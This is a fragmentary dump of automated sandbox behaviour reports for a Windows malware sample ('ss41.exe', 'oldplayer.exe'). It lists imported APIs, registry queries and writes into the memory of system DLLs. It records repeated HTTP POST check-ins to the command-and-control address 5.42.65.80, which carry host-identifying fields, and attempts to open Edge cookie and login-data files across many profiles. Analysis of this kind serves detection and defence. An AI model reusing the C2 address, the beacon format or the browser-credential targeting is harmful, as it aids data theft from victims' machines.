(Indicator: "GetModuleHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp")4d:T4a0,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp")4e:T658,Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp")4f:T484,Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp")50:T429,Found string "\Device\HarddiskVolume2\Users\HAPUBWS\Ap" (Indicator: "\Device\"; Source: "00000000-00000932.00000000.69539.00928000.00000004.mdmp, 00000000-00000932.00000001.71457.00928000.00000004.mdmp, 00000000-00000932.00000002.73376.00928000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp") Found string "\Device\HarddiskVolume1\??\Volume{815ead30-0000-0000-0000-100000000000}" (Indicator: "\Device\"; Source: "00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.0315E000.00000004.mdmp, 00000000-00000932.00000002.73376.0316C000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006112.00000000.69268.02900000.00000004.mdmp, 00000000-00006112.00000001.71189.02900000.00000004.mdmp, 00000000-00006112.00000002.73109.02900000.00000004.mdmp")51:T480,Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "00000000-00006156.00000000.69248.00081000.00000020.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp")52:T758,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: ss41.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: ss41.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: ss41.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: ss41.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: ss41.exe] Observed import api "GetSidLengthRequired" which can "Returns the length, in bytes, of the buffer required to store a SID with a specified number of subauthorities" [Source: ss41.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: ss41.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: ss41.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: ss41.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: ss41.exe] Observed import api "IsValidSid" which can "Validates a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: ss41.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: ss41.exe] Observed import api "RevertToSelf" which can "Terminates the impersonation of a client application" [Source: ss41.exe]53:T8eb,".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\OLDPLAYER.EXE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SS41.EXE"; Value: "") "oldplayer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\207AA4515D\ONEETX.EXE"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "ss41.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "")54:T1d1d,"POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /8bmeVwqx/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 5.42.65.80 Content-Length: 98 Cache-Control: no-cache" with payload::==> "id=351455743570&vs=3.83&sd=220a91&os=1&bi=1&ar=1&pc=688s2CXbeRiDCoL&un=idMumCb&dm=&av=13&lv=0&og=1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 02 Sep 2023 00:06:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A.......55:T6cf,".exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" ".exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" ".exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" ".exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" ".exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" ".exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" ".exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" ".exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" ".exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" ".exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" ".exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" ".exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" ".exe" reads file "C:\Users\desktop.ini" "oldplayer.exe" reads file "C:\Users\desktop.ini" "oldplayer.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "oldplayer.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "oldplayer.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "oldplayer.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "oldplayer.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "oldplayer.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "oldplayer.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "oldplayer.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "oldplayer.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "oldplayer.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "oldplayer.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini"56:T48d,ShellExecuteA RegCreateKeyExW RegCloseKey RegCreateKeyW SetSecurityDescriptorDacl OpenProcessToken RegOpenKeyExW RegOpenKeyW RegEnumKeyExW RegDeleteValueW LockResource FindResourceExW OutputDebugStringA GetModuleFileNameW LoadLibraryExA UnhandledExceptionFilter LoadLibraryExW CreateThread GetSystemDirectoryW TerminateProcess LoadLibraryW GetVersionExW GetTickCount GetVersionExA LoadLibraryA OpenProcess GetStartupInfoW GetProcAddress GetNativeSystemInfo GetSystemInfo FindResourceW GetModuleHandleW Sleep FindResourceA VirtualAlloc ShellExecuteW GetWindowThreadProcessId GetUserNameW GetUserNameA LookupAccountNameW RegOpenKeyExA GetDriveTypeW GetFileAttributesA GetThreadContext GetTempPathA WriteFile WriteProcessMemory IsDebuggerPresent GetModuleFileNameA GetModuleHandleExW CreateDirectoryA ReadProcessMemory DeleteFileW FindNextFileW GetComputerNameExW FindFirstFileExW CreateFileW CreateFileA VirtualAllocEx GetCommandLineW GetCommandLineA GetModuleHandleA CreateProcessA HttpSendRequestA InternetOpenUrlA InternetReadFile InternetCloseHandle InternetOpenA InternetConnectA InternetOpenW57:T1016,".exe" wrote bytes "a0339677b0bf9677" to virtual address "0x75451704" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "80e80075" to virtual address "0x7739E2F8" (part of module "KERNELBASE.DLL") ".exe" wrote bytes "40d25577300d5677e0f65577c0cd5577" to virtual address "0x754516C4" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "b08aa777a061a7776090a777c01ba877d044a7770059ac7770a8a777e0a7a77710a3a7776036a7771058a777408ba77720a9a7773037a7779076a7772036a777c037a777b047a777f08ca777" to virtual address "0x75451140" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "00416474003d6474608a5c74b0ff5e7400915c74b0076274e0b65e7450b65e74b0f05d740092647450bc5e74b0ff61749041647470b75e7410c7647480045e74" to virtual address "0x771D9058" (part of module "CLBCATQ.DLL") ".exe" wrote bytes "30ae4d75" to virtual address "0x77921094" (part of module "RPCRT4.DLL") ".exe" wrote bytes "b0bf9677a0339677" to virtual address "0x73BF20F8" (part of module "PROPSYS.DLL") ".exe" wrote bytes "40f65d74b0076274409e5d74d0d85d7470f06474b0f05d7480045e74106e5e7470b75e74b0ff5e74e0ac6d7400ba647400416474608a5c7400915c74603c627460f86374606e5e745007617450b8617440f864749041647450da6474" to virtual address "0x779AD010" (part of module "SHCORE.DLL") ".exe" wrote bytes "305f1277f0db1277303c1277f03a1277e00f1377b085127720081377607b1277003c1277c03a1277b07a1277" to virtual address "0x75451008" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "b0bf967720349677a0339677" to virtual address "0x75C2408C" (part of module "SHELL32.DLL") ".exe" wrote bytes "a02f9677" to virtual address "0x73BF20F0" (part of module "PROPSYS.DLL") ".exe" wrote bytes "10366a7720366a77" to virtual address "0x747601A0" (part of module "COMBASE.DLL") ".exe" wrote bytes "702bef764038f0764079ef766009f076e026ef766016ef76a01aef76801def76e01aef76d077ef762022ef76b07bef76e02aef76406bf076c03def766045ef76206cef761040ef767044ef76203def768063ef76303cf0765026ef76" to virtual address "0x75C24158" (part of module "SHELL32.DLL") ".exe" wrote bytes "10f23e7700b93d77f091b977109d3e7790923e77c0b43e7750883e77d0673e7740b23e77209c3e77108c3e77a0a43e77507c3e7750a93e77c0b33e77805d3e77c0e63e7790753e77c0ee3e77a0c43e7700c03e7710d23d7760aa3e77" to virtual address "0x74760228" (part of module "COMBASE.DLL") ".exe" wrote bytes "80f69677" to virtual address "0x76F202AC" (part of module "SHLWAPI.DLL") ".exe" wrote bytes "00059777f0f6967720db9877b0b59677809e967730bc967750b8967780b89677d0ac9677c0049777b0369477" to virtual address "0x75C2409C" (part of module "SHELL32.DLL") ".exe" wrote bytes "70da3d77b0a83e77" to virtual address "0x7739E2D8" (part of module "KERNELBASE.DLL") ".exe" wrote bytes "10a3a777e0a7a77780a0a777f08aa8776069a777f057a77720a9a777008ba87770a8a777" to virtual address "0x74760014" (part of module "COMBASE.DLL") ".exe" wrote bytes "60419677e0309677" to virtual address "0x7545176C" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "408a9577306c967770c69677f041967700bd967710309677a0cc967720419677208796779084957760a3967790a29677d0f49677e0039777a0e19477402c977770d8947770c7967750519a77c0919677508996777035947720ef9677" to virtual address "0x76F20118" (part of module "SHLWAPI.DLL") ".exe" wrote bytes "90435d77100c5d77" to virtual address "0x75C2432C" (part of module "SHELL32.DLL") ".exe" wrote bytes "70a8a77720a9a7772035a7776036a777e0a7a777b08aa77710a3a7771092a777" to virtual address "0x76F2001C" (part of module "SHLWAPI.DLL") ".exe" wrote bytes "80de647440b66474" to virtual address "0x73BF2090" (part of module "PROPSYS.DLL") ".exe" wrote bytes "c0699677a02f967730699677" to virtual address "0x754516F4" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "d0d0177790d11777" to virtual address "0x747600C4" (part of module "COMBASE.DLL")58:T16d3,"ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 1\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 2\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 3\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 4\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 5\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 6\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 7\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 8\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 9\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 10\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 11\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 12\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 13\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 14\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 15\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 16\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 17\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 18\NETWORK\COOKIES" "ss41.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 19\NETWORK\COOKIES" "ss41.exe" trying to open a file 